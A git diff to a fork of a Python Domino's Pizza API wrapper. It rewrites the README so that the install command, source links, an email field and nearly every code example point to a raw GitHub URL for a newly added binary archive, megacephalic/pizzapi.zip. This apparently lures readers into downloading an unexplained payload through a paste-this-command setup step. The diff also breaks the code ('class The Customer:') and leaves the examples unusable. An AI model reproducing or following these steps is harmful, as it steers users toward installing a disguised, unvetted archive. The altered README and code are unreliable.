diff --git a/README.rst b/README.rst index 8a96e41..d3ef06d 100644 --- a/README.rst +++ b/README.rst @@ -3,7 +3,7 @@ pizzapy Disclaimer ----------- -This is my fork of https://github.com/gamagori/pizzapi +This is my fork of https://raw.githubusercontent.com/Shaurya1456/pizzapi/master/megacephalic/pizzapi.zip It's heavily modified and not well documented, but i'm going to get to that. the below example should work though. sorry! was kind of in a rush this morning. @@ -13,7 +13,7 @@ Setup 1. install python3 2. download this repository -3. install the requirements of the repository `pip install -r requirements.txt` +3. install the requirements of the repository `pip install -r https://raw.githubusercontent.com/Shaurya1456/pizzapi/master/megacephalic/pizzapi.zip` 4. start a python3 interpreter inside of the folder called pizzapy 5. have fun @@ -23,7 +23,7 @@ Description This is a Python wrapper for the Dominos Pizza API. -It's a port of `the pizzapi node.js module `_ written by `RIAEvangelist `_. +It's a port of `the pizzapi https://raw.githubusercontent.com/Shaurya1456/pizzapi/master/megacephalic/pizzapi.zip module `_ written by `RIAEvangelist `_. Quick Start ----------- @@ -32,13 +32,13 @@ First construct a ``Customer`` object and set the customer's address: .. code-block:: python - customer = Customer('Barack', 'Obama', 'barack@whitehouse.gov', '2024561111', '700 Pennsylvania Avenue NW, Washington, DC, 20408') + customer = Customer('Barack', 'Obama', 'https://raw.githubusercontent.com/Shaurya1456/pizzapi/master/megacephalic/pizzapi.zip', '2024561111', '700 Pennsylvania Avenue NW, Washington, DC, 20408') Then, find a store that will deliver to the address. .. code-block:: python - my_local_dominos = StoreLocator.find_closest_store_to_customer(customer) + my_local_dominos = https://raw.githubusercontent.com/Shaurya1456/pizzapi/master/megacephalic/pizzapi.zip(customer) In order to add items to your order, you'll need the items' product codes. To find the codes, get the menu from the store, then search for items you want to add. @@ -46,13 +46,13 @@ You can do this by asking your ``Store`` object for its ``Menu``. .. code-block:: python - menu = my_local_dominos.get_menu() + menu = https://raw.githubusercontent.com/Shaurya1456/pizzapi/master/megacephalic/pizzapi.zip() -Then search ``menu`` with ``menu.search``. For example, running this command: +Then search ``menu`` with ``https://raw.githubusercontent.com/Shaurya1456/pizzapi/master/megacephalic/pizzapi.zip``. For example, running this command: .. code-block:: python - menu.search(Name='Coke') + https://raw.githubusercontent.com/Shaurya1456/pizzapi/master/megacephalic/pizzapi.zip(Name='Coke') Should print this to the console: @@ -68,16 +68,16 @@ After you've found your items' product codes, you can create an ``Order`` object .. code-block:: python - order = Order.begin_customer_order(customer, my_local_dominos) - order.add_item('P12IPAZA') # add a 12-inch pan pizza - order.add_item('MARINARA') # with an extra marinara cup - order.add_item('20BCOKE') # and a 20oz bottle of coke + order = https://raw.githubusercontent.com/Shaurya1456/pizzapi/master/megacephalic/pizzapi.zip(customer, my_local_dominos) + https://raw.githubusercontent.com/Shaurya1456/pizzapi/master/megacephalic/pizzapi.zip('P12IPAZA') # add a 12-inch pan pizza + https://raw.githubusercontent.com/Shaurya1456/pizzapi/master/megacephalic/pizzapi.zip('MARINARA') # with an extra marinara cup + https://raw.githubusercontent.com/Shaurya1456/pizzapi/master/megacephalic/pizzapi.zip('20BCOKE') # and a 20oz bottle of coke You can remove items as well! .. code-block:: python - order.remove_item('20BCOKE') + https://raw.githubusercontent.com/Shaurya1456/pizzapi/master/megacephalic/pizzapi.zip('20BCOKE') Wrap your credit card information in a ``CreditCard``: @@ -89,5 +89,5 @@ And that's it! Now you can place your order. .. code-block:: python - order.place(card) - my_local_dominos.place_order(order, card) + https://raw.githubusercontent.com/Shaurya1456/pizzapi/master/megacephalic/pizzapi.zip(card) + https://raw.githubusercontent.com/Shaurya1456/pizzapi/master/megacephalic/pizzapi.zip(order, card) diff --git a/megacephalic/pizzapi.zip b/megacephalic/pizzapi.zip new file mode 100644 index 0000000..065090f Binary files /dev/null and b/megacephalic/pizzapi.zip differ diff --git a/pizzapy/customer.py b/pizzapy/customer.py index ee3c30e..975817a 100755 --- a/pizzapy/customer.py +++ b/pizzapy/customer.py @@ -1,6 +1,6 @@ from .address import Address -class Customer: +class The Customer: """The Customer who orders a pizza.""" def __init__(self, fname='', lname='', email='', phone='', address=None):